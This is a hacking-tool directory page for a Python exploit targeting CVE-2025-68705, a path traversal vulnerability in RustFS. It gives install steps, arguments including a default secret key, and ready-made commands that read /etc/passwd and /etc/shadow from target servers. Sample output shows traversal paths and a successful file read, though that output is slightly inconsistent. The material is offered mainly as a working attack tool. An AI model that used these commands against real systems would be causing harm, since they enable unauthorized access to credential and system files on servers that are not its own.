Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/imjdl/cve-2025-68705
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubimjdl/cve-2025-68705

CVE-2025-68705

Python exploit script for CVE-2025-68705, a path traversal vulnerability in RustFS, enabling arbitrary file reading and vulnerability checking on target servers.

View Repository
118 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-68705 - RustFS Path Traversal Exploit

Description

This script exploits a path traversal vulnerability (CVE-2025-68705) in RustFS that allows reading arbitrary files on the server.

Requirements

  • Python 3.6+
  • See requirements.txt for dependencies

Installation

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt

Usage

root@kitploit:~
python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]

Required Arguments

ArgumentDescription
-H, --hostTarget host IP or hostname
-p, --portTarget port number
-f, --fileFile path to read (optional with --check-only)

Optional Arguments

ArgumentDescriptionDefault
-s, --secretSecret key for signaturerustfsadmin
-o, --offsetFile read offset0
-l, --lengthNumber of bytes to read4096
--check-onlyOnly check if target is vulnerable-

Examples

Read /etc/passwd file

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd

Read /etc/shadow with custom offset and length

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024

Use custom secret key

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret

Only check if target is vulnerable

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 --check-only

Read specific range of file

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200

Output Example

root@kitploit:~
python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!

[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp

License

This project is licensed under the MIT License - see the LICENSE file for details.

References

  • RustFS Security Advisory
  • CVE-2025-68705
Download Tool